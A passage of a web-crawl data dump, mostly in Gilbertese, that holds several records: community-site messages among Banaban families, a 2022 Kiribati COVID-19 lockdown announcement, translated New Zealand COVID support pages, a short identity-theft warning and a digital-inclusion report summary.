kam nang mwaing ma natim nakon ami auti. Neiko ao te kabuanibwai bwa ea manga oki au parcel are kanaoana am kunikai are i kanakoa n te mail. Ia tia ni manga kanakoatia ngkai n te EMS Courier ao a taku kain te post office bwa ena riai n reke iroum nakon Thursday ke Friday aei. E bon bobuaka teutana aron kanakoatana n te mail aei ma ai bon akea riki au choice bwa ea ria am tai ni graduation. Aio are ena bon deliver naki nakon te auti. Taiaoka anganai am telephone number bwa nna call niko n check bwa e reke iroum ke e aki nakon taina are a tia n taku. Ia ongora iroum. Te kamauri ao te inga nakon nei Aai ao ai kain ami auti ni bane. Tekeraoi te graduation ao tikumi ikanne.\naye aye e nang te busy iroum kee. e uara te makuri? te kantaninga bwa e bon waki raoi. ngaia ao ia taningaiko ke ia bon angan Jane n aron naba akekei?? A tau ana tops ma ana sulu jumper aike ko uoti n nakoati? Ngkana ngaia ao tia manga bon ira naba ana size nei rote. Te kamauri mai Isa Lei nakoimi ao tia manga boo. Ia ongora iroum.\nTiku\nhey mauri naba!! Mwanem ngkoa Burentetau??hahaha!! ao kam uara??? ngaira ti bane ni marurung ma ataei ao te kantaninga bwa ai bon aromi naba ikanne. E rabwa te Uea n ana kakawakin kee...anyway a uara ana kunikai Nei Aai?? Ae ia tia ni karekea kunikain ami \"magimagi\" ma nna karekea korana ao ia angan naba Jane. Tao ai tiaia n ituaki ma am koroti ao ia kanakoati naba. Ko kona n measure Nei Aii n aron are e baireiko iai Jane? ao koa kanakomaia baireana bwa e aonga n roko raoi ana kunikai aio. Au email aio firstname.lastname@example.org...tia reitia n te email. Aia inga ao aia kamauri ataei ao tamaia ataei nakoim ao ai Nei Aai.\nTia boo ao tekeraoi te makuri ao tikumi ikanne\nTarim\nngaia!! ngaia!! akea ngkoe te kanganga n anne nonean tibuum na kaonrakea te container ba uotaau nakoati nako fiji.. ao bukin te hotstuff ma te smoke bon au baai ngke ni kanakokeve maa tain roroga i biti..lolahahahha..ia bon anganiko bona i nadi..ao ngkai na bon tanigaiko i nadi ba ia kautanigaa naba iroum...bwa te marii are kona uotia..ao ai te baebaetienti iroum ngkanne..cant wait to see you soon.\nNgaia, ngaia tia ataia ae ena iai te botaki nakon te tai anne. Ao e kanga ngkanne tina katauraoi ara biribai ke ana sponsor AUSAID ma NZAID???? hahahaha...are a bon kantaninga naba te sponsor Nei Tena ma mai Rambi. Ao ngke, ti boo ikai. O eeng...ibukin ana bwai Tonia, e taku tinana bwa ngkana ko kona n taiaoka ni karekea ae e bubura riki nakon arei...tao te Large. E taku bwa are ko moan karekea te medium ao e aki tau iaona. Tao tingaia moa anne mai ikai ma tia manga bon rereitaki....tekeraoi ngkami ikanne...uringnga kabatia te chocolate mai ikanne ngkana ko nakomai. Tia boo moa...\nMauri mai Biti!!!!\nKam uara moa? Ea maan te tai kee n aki reitaki. Ena kanga bwa tiaki ti teuana te tabe ao ea manga uruaki ara laptop are ti internet iai. I kauka te BV ao ia nori am tamnei ma am music ake ko loadni. Ngana iai riki am latest music ni Kiribati ao koa taiaoka ni karin. Akea rongorongon ara tabo aei bwa bon te normal program naba are te reirei ao te makuri ao te auti. Neiko ae ia manga kaikoi naba am Bula dresses nako main rokom nakon August. Are kona bon roko ma i aki kanakoati??? Ao i taetae ma kain Lautoka au anga aia kaitau n aia bwai ake ko kanakomai ma e taku ngaia bwa e aki tau iaon Tonia bwa e uarereke. Ea karautaeka bwa e aki kona ni call bwa akea boon ana recharge. Tao ti ngaia moa anne mai ikai ma ai bon te inga ao te kamauri nakoimi ma kain ami auti ao Nei Aai....tia boo moa ao tekeraoi te makuri ma tikumi ikanne.\nmauri!! ngaia ia nonoriia ba ngaai naba nanako fiji n august 21.. ma koa bon tuangaa raomi aio..ba ngaai nanako ni karaoii wiiu na pound. ma tao tia kaitibo i nadi nakon te taai anne... ao koauringaa naba au matoatoa ma au smoke plizz baai i apay u in nadi kanna ko roko nte taai anne...tia boo ao tia manga ongora iroum..","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=0jv81m8s1mfou","date":"2022-12-06T10:19:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711077.50\/warc\/CC-MAIN-20221206092907-20221206122907-00369.warc.gz","language":"gil","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000075101852417}","num_words":900,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Ngao n Atatai ao ni Kaongora ibukin Te Maeka I-Amerika.\nJune 21, 2020\nMauri ngkami raou ni I-Kiribati ao Kiribati-IMatiare ake kam maeka ao kam iangoa te mwaing nako Amerika. I rang ingainga nanou ni kan tibwa ma ngkami te Ngao n Atatai ao ni kaongora ae i a tibwa kateiteia ibukin kaongoraa ma ibuobuoki tabeaua ake tina kainanoi ngaira kain Kiribati ao Kiribati-IMatiare ake tia maeka i Amerika ao ake a iangoa te mwaing nako Ameika. Aran au ngao n Atatai ao ni Kaongora aio bon Te Maeka I Amerika. Tai tabwara ma naako kotea te toma n rain ae e baboobo ane ieta ibukin bwaninin rongorongona. Uringa bwa te Ngao n Atatai ao ni Kaongora aio ena bon waakinako naba ibukin kabobongaana ao ni kakaongoraeko rongorongo ke atatai aika a kaoti ni boong nako.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/te-maeka-i-amerika.com\/te-ngao-ni-kaongora-ibukin-te-maeka-i-amerika\/","date":"2022-12-06T23:03:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711121.31\/warc\/CC-MAIN-20221206225143-20221207015143-00875.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":135,"character_repetition_ratio":0.11,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ana kaongora ni kamataata H.E Beretitenti Taneti Maamau iaon te Covid-19 n rekereke ma Alert Level 3\nKAMAURI:\nNakoimi kaain Kiribati ni kabane mai Makin nako Arorae n ikotaki ma Banaba, Kiritimati, te aono n Raina ma Rawaki, ao ai n taabo nako ike kam mena iai.\nN arana ae moan te Tabu ao Kam na bane n Mauri!\nAu kaongora n te tai aio bon reitan ana kaongora ami Tautaeka are e a bon tia ni katanoataaki iaon babaire ibukin te kainiin are e nang moantaaiaki riki ibukin maurin te botannaomata.\nKamatoaan mwaitin keiti\nIbukin ana rongorongo te botannaomata n te tai aio ao imwiin tutuo ake a tia ni karaoaki ao iai te bitaki ni mwaitiia ake a tia n reke irouia te aoraki aio bwa iai ngkoa teniman itinanikun te tabo ni katantan ake bon taan tararua, ao iai ngkai te kaaman are e a tabe ngkai ni katabwaninaki rongorongona. Te ka aua ni keiti aio bon tiaki te tia tararua ao tiaki naba kaain Buota. N tabwaninin rongorongon te kaua ni keiti aio ao e na manga bon katanoataaki.\nN irekereke ma aio ao e rangi ni kakawaki bwa e na teimatoa ni waakinako te mwakuri n ririmwiiaki te koraki ake a tia ni kaaitiboo ma keiti aika aman aikai ao n anaaki ni kaawakinaki n taabo ni katantan.\nTe katautau ngkai bwa e a konaa n ae e a butanako te aoraki aei iaon Tarawa Teinainano ma Betio, ai ngaia are n te tai aio ao e nang moantaaiakaki riki kamatoaan kabonganaan te kateniua n rietaata ni katauraoi ke Alert Level 3 are e na moa man te Kaonobong 22 bongin Tianuare 2022 man te aoa 3 n te bwakantaai.\nAo aikai ngkanne kanoana.\n1. Kainan te nakonako inanon 24 te aoa\n2. Ana tabo ni mwakuri ma ana kambwana te Tautaeka ana bane n in ao ni waaki ni mwakuri man mwengaia, ma a na bon tii uki taabo ake a rangi ni kainanoaki ibukiia te botannaomata n aron aikai:\nTe On Aoraki\nTe Ikotaki ni Bureitiman\nTe Bangke\nTe KPA\nKOIL ao taabo ni bwaa ao gas stations\nBitineti ake a kaboonakoi amwarake ma mooi n ikotaki ma KCDL ibukin kanaia maan\nAobitin Kaneweaba, Bitineti, Karaobwai ao Boboti\nVodafone ao Oceanlink\nAobitin te Mwane ma Customs\nBootaki ni Kanakobwana ao Karekerongorongo\nPUB\nAobitin Tauan Kanoan Boong\nAobitin Kamweengaraoi ibukiia Aine ma Ataei\nAobitin Tararuaan te Mwamwananga i Taari\nBao ni mwamwananga i taari ao kibakiba\nTe Red Cross\nTe KFHA\nAo tabeua riki ake e bon noori riaina te Tautaeka bwa a na riai n uki n tain naba te kainiin ae imwaaira aei, ma a na riai ni karekea ana kariaia ana Aobiti te Beretitenti.\n3. Bitineti n aroia wholesalers ao titoa (retailers) ake a kabonakoi amwarake ao Onaoraki ana teimatoa n uki ibukin te botanaomata.\n4. Aomata nikabane ana riai n tiku iaan mwengaia ao n aki nakonako – ana bon tii kona n nakonako ibukin karekean kainano aika riai n aron kabooan te amwarake, te bwaa, te karatiin ake a na riai ni karekei man te aoa 6am n te ingaabong nakon te aoa 2pm n te bwakantaai. Kam kaungaaki bwa kam na bon boobwai n ami aono ke ami kaawa ngkana arona bwa a reke ami bwai iai.\n5. A kariaiakaki kawaran Kiriniki ni kaineti ma ana kainibaaire te Botaki ibukin te Mauri ao Katoki Aoraki.\n6. A na aki buti bao ni mamananga (bus).\n7. Taabo ni mooi nangkona, mooi manging ao taabo n takakaro ana bane n in.\n8. Bobotaki ni kabane a bane ni katokaki.\n9. Mwamwanangaia kaibuke ao kiiba a bon kaukaki ibukin karokoan te bwaa, bwaai n aoraki ao kaako rinanon te kainibaaire. Bon ti bwatintia ake a bae iaon abamwakoro ake a kona n okira Tarawa iaon baao ni mwamwananga ngkana a roko n aia abamwakoro rinanon naba te kainibaaire. Akea bwatintia ae a kariaiakaki mai Tarawa nako aon aba ao a na akea naba bwatintia ae a na kariaiakaki bwa a na mwananga imarenan abamwakoro. Bao ni mwamwananga mai tinanikun Kiribati nako Kiribati a na bon teimatoa n roko ma a na rinanon naba te kainibaaire.\nBuota\nIbukin ami rongorongo te botannaomata ao e na bon teimatoa n tiku n arona te babaire ibukin te kaawa ae Buota kioina ngkai bon ngaia te kaawa are a maeka iai teniman ma ibuakoia naake a kuneaki n iai te COVID-19 irouia.\nN irekereke ma te babaire ao e teimatoa ngkai ni waaki te Botaki ibukin te Mauri ao Katoki Aoraki n uaia n ikarekebai ma te Botaki ibukin Bitineti ma KCCI ao te private sector ibukin kateimatoaan karokoan kaako ma bwainaoraki iaon Buota, bwa a aonga n teimatoa ni kona ni kabooi ao man karekei maiuia man bitineti n te kaawa aei.\nN na bubutii ngkami kaain Buota ami taotaonaki n nano ao ami boutoka nakon babaire ma babaaronga ake a na teimatoa ni waakini taan mwakuri ibukin karokoan kaako ao tararuaan maurimi.\nI a raona naba aio ma te bwanaa n raraoma ao ni kabwarabure ibukin te iremwe ke te baenikai iaon karokoan kaako n taai aika a nako ngkai a bon riki aikai man karauan raoi baarongaakin te kainibaaire (SOP) ibukin karokoaia iroumi n te aro bwa akea ae e na reke n te kanganga. Taan mwakuri ake a ibuobuoki ibukin kainanon Buota, a kabaeaki bwa a na riai n irii nanon ana kainibaaire te Botaki ibukin te Mauri ao Katoki Aoraki, ao e na bon iai te rekenikai nakoia n aki karaoan nanon aio.\nKainiin\nImwain ae e nang totoki au kaongora n te tai aei, ao Ia reitai ma ngkami kaain Kiribati ni kabane, ni kauataoa riki bwanaan Ami Tautaeka ni kakaitau nakoia taan mwakuri ake a teimatoa ni karaoi tibwangaia ni kaitaraa te Aoraki aio. Tiaki te tibwanga ae e beebete bwa e bon rang matoatoa aron karaoana, aio ai uana naba ma ana babaire ami Tautaeka are e a tia ni karaui ni katinei ibukin tobwaan itera aika a kakaokoro inanon te tai aio n ikotaki ma kainanon ao katanan te botannaomata bwa e aonga ni kona ni butiraoi ara waaki ni kabane ni kaaitara te aoraki aei.\nE kakawaki bwa tina bon bane n onimakiniira ngaira kaain Kiribati n tatabemaniira nako bwa ti bane ni karaoi tibwangara ni kaaitara te aoraki aio ibukira ni kabane.\nAi bon te bubuti nakoimi ara botannaomata ao ara taan kairiiri kateimatoaan te boboonnano, te ikarekebai ao te ongotaeka nakon irakin nanon kaetieti aika e na teimatoa ami Tautaeka ni kaakatanoatai ngkai ti teimatoa ni kabanea ara konaa ni kaaitaraa te aoraki aio. Au bubuti bwa kam na aaki nako n nano, waekoa iiti ke kakoroi itimi bwa ngkana e koro nanon aio ao te kantaninga bwa e na uarereke rootakimi n te aoraki aio. Ngkana kam mano ao kam na buooka naba katanaia kaain mweengamii ma ami utu ake a na kai rootaki riki n te aoraki aio.\nIbukiia te roro ae iaan 18 te ririki ao a bon tuai moa n itinaki n iira ana kainibaaire te Botaki ibukin te Mauri n te Aonnaba ae WHO n taai aika a nako, ma ngkai e a tia ni kaukia ao iaon kawaina ngkai n roko itiia iaan te buooka are e a tia n tauraoi. Ae e biriakinaki karokoana inanon te moan kuata n te ririki aio.\nEa mena ngkai Kiribati inanon te tai ni kakaewenako ae matoatoa ae akea n ai arona mai imwaaina ao e rang kainanoaki te uaia n ibuobuoki, ma ngaia ae Ia teimatoa ni kaungai ao ni bubutii nakoimi ngkami ara Botaki n Unimwane ao Unaine, Botaki n Aaro ao Ekaretia nako, Botaki n Roronrikirake, Kauntira, Communities ao ai bon Kaaro Tiina inanon Mweenga nako, bwa kam na kaungaia ami koraki ao ami utu ma raraomi bwa a na teimatoa n ongotaeka nakon babaire ao ni waekoa n kabanei itiia bwa bon tii ngaia aio te anga ae tina kona ni kaaitaraa te\/3v33vvv Aoraki aio.\nMoan taain itinakim ao koron itim bon maurim, mauria am utu ao kain Kiribati ae banin.\nAo nakoimi ara Mayors ao ara Kauntira ni kabane iaon abamwakoro e riai naba irakin kaetieti aikai ibukin mauriia ao katanaia ami botannaomata.\nAra onimaki n taainako bwa e na raoniira te Uea n anganiira te korakora ao te marurung ni kaaitara te aoraki ae e kakamaaku aei.\nTe Mauri, Te Raoi ao Te Tabomoa iaora ni kabane.\nAmi Beretitenti ae mangori\nTaneti Maamau.\n---------------------------\nThe Government of Kiribati has now confirmed that there are four cases outside the quarantine cases reported earlier. This fourth case is not part of the security team at the quarantine center who were tested positive earlier and does not reside in Buota the village where the three other cases reside before being quarantined. Health officials are currently conducting contact tracing and will further update on this case.\nThere is now an assumption that COVID-19 is now spreading in the community on South Tarawa and Betio based on this fourth case. For this reason, the Government has now decided to instigate alert level 3 and the lockdown which will now be effective from 3pm on Saturday 22nd January 2022.\nThe following measures are now declared:\n1. Lock-down with 24 hours curfew.\n2. All essential service providers (food wholesale and retail) from the private sector will remain open to the public from 6am to 2pm.\n3. All Government Offices and SOEs will be closed and work remotely from home, except for essential and emergency services such as:\n• Hospital services\n• Police services\n• Banking services\n• Kiribati Port Authority\n• Kiribati Oil Company and gas stations\n• Wholesalers and retailers selling food and essential items including Kiribati Copra Development Limited\n• Ministry of Finance and Economic Development\n• Ministry of Tourism, Commerce, Industry and Cooperatives\n• Telecommunication service providers\n• Public Broadcasting Authority\n• Public Utilities Board\n• Kiribati Meteorological Service\n• Ministry of Women, Youth, Sport and Social Affairs\n• Ministry of Information, Communication and Transport\n• Shipping and Aviation service providers\n• Kiribati Red cross Society\n• Kiribati Family Health Association\n• And other essential services that the Government deems necessary during the lockdown. These additional services require prior approval of Office of Te Beretitenti.\n4. All essential service providers (food wholesale and retail) from the private sector will remain open to the public from 6am to 2pm.\nPeople MUST stay at home – may only leave their homes for essential work or to access emergency services.\n5. Access to shops for food shopping and other essential services will be zoned to limit the movement of people within their neighbourhoods or villages from 6am to 2pm.\n6. Public transportation services will cease during the lockdown.\n7. All kava bars, liquor bars, and night clubs will be closed.\n8. All kinds of social gatherings are banned.\n9. Access to hospital services will be conducted according to the Ministry of Health and Medical Service guidelines as earlier announced.\nDelivery of cargoes, fuels and medical supplies by vessel or air service will continue to outer island with no passengers allowed. Only those stranded in the outer islands are allowed to return to Tarawa provided they meet health travel requirements.\nNo travels between the outer islands are allowed.\nGovernment will continue to provide regular updates to the public for their information and safety.\nIn addition, the current lockdown of the Buota village will continue until further notice given that there have been three confirmed cases from this location. Government will continue to work with the private sector to ensure that food and medical supplies continue to be delivered to the area and appeal to the people of Buota village for their patience and support.\nDuring this difficult and challenging situation, the Government appeals to elders, church, island councils, community and youth leaders for their support and cooperation in order to protect and safeguard our health and nation. The only way that we could fight this virus is to through complete vaccination and therefore, the public is urged to complete their vaccination doses in order to protect themselves and families. It is critical that all work together and trust each other to do our part in combating this pandemic.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/covid19.gov.ki\/press-release\/Covid-19%3A%20Alert%20Level%203%20ibukin%20TUC%20ma%20BTC","date":"2022-11-26T09:22:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446706285.92\/warc\/CC-MAIN-20221126080725-20221126110725-00410.warc.gz","language":"gil","language_score":0.9999890327,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9999890327453613}","num_words":1987,"character_repetition_ratio":0.048,"word_repetition_ratio":0.014,"special_characters_ratio":0.199,"stopwords_ratio":0.269,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri Buatia ma ni banaan Nonouti.\nNgkana e a reke am email address ae bou ao taiaoka n reitaki ma ngai iaon au email address anne: email@example.com ao anganai am e mail address ba e raoiroi riki ae ti rereitaki n te email ba e aki mauanti iai ara maroro. I aki ataia ba e reke ana b'ai Marawa ake ti butiko iai are te uaanikai ibukin aia bong Kaaro ke e aki, ma ae I ataia ba e roko are ti butia iai Tibwere Bobo. I aki kakoaua raoi ba uoua te plastic inanon te carton are e roko ma ngkana tao kama bootia naba ma are iroun Tibwere ao tao ngaia are e roko. E aoria ma e raraba riki ba e a tia ni koro raoi kanoan aia bong Karo irouia ara aine n ara kawa n reirei aei.\nAo taraia Buatia e a roko kainnanoan te laptop n ara tabo aio ba are ngkai e a moanna ni kanganga reken te internet ibukin ae e karako te computer ibukin te internet, ngke arona ba ko a kaman butia Tabiang ba e na karekea teuana te laptop ma itinaniku ae boraoi riki nakon akana a rereke i Kiribati ao ngkai ti a bon teimatoa naba n internet ma ngkami, ao ngkana iai naba ana emil address Tabiang ao ko a kanakomaia naba ba ti kona naba n rereitaki ma ngaia ngkana ko kariaia.\nE uara Nei kaumakai? Au kantaninga ba e boni marurung raoi, ao taraia ti bon tuai n tiku raoi n ara bakabai ae tao ai wniua ke ruaiwa ae tuai ma n reke ao ngaia are e boni kanganga naba reken kanami te taari n ika ma e aoria ba n te tai are ti tei raoi iai ao ti a mangakanakoatia kanami te taari n ika. Ngkana iai ana CD Tabiang aika e uouoti ma i tinaniku aika a raraoi ao kama karerekei naba ara kaobi ao kamkanakomai ba ara b'ai ni kakakib otu ikai.Neiko,ko mona moa n tuangai ba e a bon tia n nako ngkoa te mane are e tangiria Tamara ma iroura are ibukin ana mane Nei Tebiriki, I a manga ongora ma iroum.\nTao e nang totoki moa ikai ao ko a angania naba kaain amauti akanne ara kamauri ao ara inga ae moan te bati.\nTekeraoi te waki ao ti a boo moa.\nTamam ae raroa nako,\nTaatu Taomati Taramatang.\nKo uara ngkai?....E a maan te tai n aki kakaitibo???............ao e uara Nei Kaumakai........ko anganna naba au kamauri........I kaitibo ma Tabiang ikai ao e taku ba e nang nakoati nakon ningaabong..........ngaia ko kangaangaa naba bwa e reke iroum naba te seaman kee........ti tebo ngkoe ma Nei Aimetika........kamwaa million ngkai........hihihihihi..............LOLs","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/banabanvoice.ning.com\/profile\/Buatia983","date":"2022-12-06T11:36:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711077.50\/warc\/CC-MAIN-20221206092907-20221206122907-00529.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":451,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.366,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te buoka ibukim ao am utu | Support for individuals and families\nKarekei rongorongon taian buoka te mwane ao te kamwengaraoi inanon tain butinakon te COVID-19 n te aonnaba.\nAngan karekean amwarake ao bwai aika a rangi ni kainnanoaki | Access to food or essential items\nTi bane ni kainnanoa te amarake ao baika a rangi ni kainnanoaki n aron bwainaoraki i nanon tain kainan tabo ibukin te Covid-19 ma ngaia ae taiaoka tai kariaia bwa a na aki reke iroum. Te beba ni kamatata aio e anganiko rongorongo aika a mwaiti ibukin angan karekean amwarake ao bwai aika a rangi ni kainnanoaki ibukim.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/support\/","date":"2022-12-09T16:13:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711417.46\/warc\/CC-MAIN-20221209144722-20221209174722-00135.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":102,"character_repetition_ratio":0.118,"word_repetition_ratio":0.022,"special_characters_ratio":0.194,"stopwords_ratio":0.353,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri ni bwanan Raiwai!\nI a tibwa kauka au meri ngkoananoa ao I a kubanako ngke I nora am message ao tamnein Nei Tiare. Makin and the whole family a karaua ni marakeina ao e otinako aia reke bwa ngaia e bon roronako naba waana i buakoia ana roro. e boni boboto. Ti a tia n nora tamneina aongkane tao ti na manga noria n ningai in person? Tao ni bon te tai naba ae waekoa, ke e kanga!\nTi boni marurung raoi ao ia ara kantaninga bwa ai bon aromi naba ikanne. Ao e a ngara moa ngkai Franky! I haven;t heard from for a long time so pliz kindly ask him to re-estblish link.\nneiko,mauri moa.Akea ba tia manga kaitibo nte site aio.Kam uara ma ami baby?I taku ba tao kam bon marurung raoi.Ngaira ti bane naba nni marurung raoi ma natira ao ai kain te auti.Ea nga moa nan June,kai i tituai moa man reitaki ma ngaia?Tel him to comment on my page coz i got something for him,te baka mai karawa...ha.ha.\nNgkai ae tia study break ao kanga ea reke moa te mwawa.Exams start next week ao tia bora n tangiria ba ena waekoa nni bane,so that we can relax.\nHey ,i got to go so loloma to evryone there,and not forgetting my precios gal Faith.Pliz send her fotos.\nMauri Ueue,\nKabwara buren waeremwen te reply ma engae n anne ao koaitau nte reply. Bon ti au bubuti nakoim bwa koaki manga kabotauai ma am uncle ae Tebure bwa Ia kawa n raituatua ma e raoiroi riki are koa kabotau nakon Taobwe bwa I buti raoi riki iai...hee..heee. ke kanga?\nAo ngke erabwa bwa ia kinai ngkami ngkai iaon te site aio ao iakina naba natimi ae tikiraoi. Akea te news mai ikai bwa abane iaon te site aio ngkana iai mai roumi ao koa kanimwa nte site. Tuanga Frank bwa ena mauri naba ao ia bon karekea au tai ao ia manga koroboki n ana page ma ae ti kabongana moa am page.\nKam na teke raoi ma natimi ao tia manga bon kai reitaki.\nTia boo moa.\nuncle ken.\nMauri riki Ueue,\nNeiko, and so it is truely a small world! Ngai koa bon ata arau ma te bwai ae kakuba nakoiu bwa kain abam ane Frank ai bon te nati nakoiu ni kaan. Tibun Ioabo ae Na Kabanti boni karimoan tibu ae Na Bure are nanona bwa tinan Ioabo ao tinau 1st cousins, ngai ao Ioabo 2nd cousins and the rest is history.\nNgkane n au itera ma ngkoe e kangai, au great great grandmother bon ainen Butaritari ao arana Nei Karabinoata ao tarina Nei Antewita. Itaku bwa kona bon kinaia au koraki ni IButaritari aika Alexis (kain te Auti n Tei n te Tautaeka) mai Butaritari, Na Ekeanteata tarina ae kain te Ministry of Finance au unaine ae Nei Teresia ae buun Tamoa ao a mwaiti riki ma ngkana iai tomam ma koraki aikai ao tao bon au koraki naba ngkoe ni I Meang.\nE tau bwa ea nangi kunanau au message aio ma ia bon tai kai manga ongora mai iroum ao Frank n reken ami tai. Ai raman natimi?\nUeue mauri,\nAkea am kanganga, ia tia ni kamauna are te uana ngke inoria bwa aio am latest page, so it came my mind that you are not using the other. Eti naba am taeka ae koaki kona ni kamauna ma ti kona mai ikai (administrative site).eke","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/banabanvoice.ning.com\/profile\/Ueue","date":"2022-12-01T19:41:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710869.86\/warc\/CC-MAIN-20221201185801-20221201215801-00613.warc.gz","language":"gil","language_score":0.9999744892,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999744892120361}","num_words":576,"character_repetition_ratio":0.031,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.241,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Katauraoi & kamanoko | Prepare and stay safe\nKakae nako rongorongon COVID-19 ao tera ae ko kona ni karaoia ni katauraoiko ibukina.\nIti n totoko | Vaccines\nTe iti ni kamanomano e kamanoia natim, am whānau ao am baronga. Te iti ni kamanomano man te COVID-19 bon akea boona ao e tauraoi ibukia aomata ni kabane man 5 te ririki ni waerake.\nTe Tutuo | Testing\nKakaei riki rongorongo ao kaetieti iaon ae kona kanga n tuoaki, kona tutuo iaa ao tera ae e na riki ngkana e kuneaki te manaoraki iroum.\nKawakinam ao te tiku n onoti | Care and isolation\nIai te buoka ao taeka ni ibuobuoki ake a tauraoi ngkana e reke iroum manin te COVID-19 ao ko kainnanoa te tiku ni kaonotiko.\nLast updated: at","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/","date":"2022-12-02T19:28:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710916.40\/warc\/CC-MAIN-20221202183117-20221202213117-00055.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":123,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.325,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te taratara raoi ibukin mwakuri ni kekewe ni ni kamwaamwane.\nOctober 2, 2020\nInanon wiiki aika a tia n nako ao bon iai teniman mai buakoia raou ni I-Kiribati ke I-Kiribati Matiare ae i ataia ae a tia n reke nte Identity Theft ke a Kimoaaki Rongorongoia. Te kauring, taratara raoi, tai anga aram, ke am address ke am tiotio tikuriti nambwa nakon te aomata ae ko aki kina. Engae ngke ko taku bwa bon te koaua. Bwaninin te kamataata iaon aio ao naako visit te link aio: https:\/\/te-maeka-i-amerika.com\/bwaai-aika-ko-aki-riai-ni-karaoi-ke-reiti-taboia-what-to-do-and-not-to-do\/","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/te-maeka-i-amerika.com\/te-taratara-raoi-ibukin-mwakuri-ni-kekewe-ni-ni-kamwaamwane\/","date":"2022-12-06T23:24:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711121.31\/warc\/CC-MAIN-20221206225143-20221207015143-00313.warc.gz","language":"gil","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.000006079673767}","num_words":87,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.287,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te riboti ae e kimototo man ana kakae te Digital inclusion user insight — Pacific peoples report\n\"Katoka kaokiokan te taetaenikawai, moana karaoan te mwakuri — kama katikuira i buki.\" Anne teuana te katoto are e ongoraeia te Department of Internal Affairs ngke e karaoa te maroro ma tabeman kain te Betebeke n 2020 ni kakaea bwa tera ae a noria bwa totokoaia n rin n te waki n itoman ni kabonganai bwai aika a kombiuta.\nAna kataratara te tautaeka bwa ana bane n reke nakoia aomata ni kabane bwai ake a kainnanoi ibukin rinnakoia ni itoman, ni kaoti aia iango, ao ma n reke kabwaia man kabonganan te itoman are e waki ngkai n te aonnaba ni bwai ake kabongana te kombiuta — reken (teimatoan tomaia, boon bwai n itoman), rabakauia ni kabonganai, te nano n onimaki, ao te ungannano ibukin kabonganan bwai ni itoman aikai.\nNi mwaitia kain te Betebeke ae e raka i aon wanua (8) te katebubua man te bota n aomata i aon Nutiran, e korakora aia ibuobuoki nakon kinakin abara, kaubwaira, ara katei ao mwengaraoin ara bota n aomata. E ngae n anne ao temanna (1) ni katoa niman (5) kaain te Betebeke ake i marenan 16 ao 65 aia ririki ni maiu bon akea rabakauia ni kombiuta[ — te mwaiti aio e bon taboro ni kabotauaki ma aomata ake tiaki kain te Betebeke. ]\nDigital inclusion user insight — Pacific peoples report e kaotinakoi taian kukune man kakae i aon aroia ma aia namakin kain te Betebeke ni kabonganan rabakau n itoman aika a boou i nanon te aonnaba ni kombiuta . Angaun ma itiman aomata 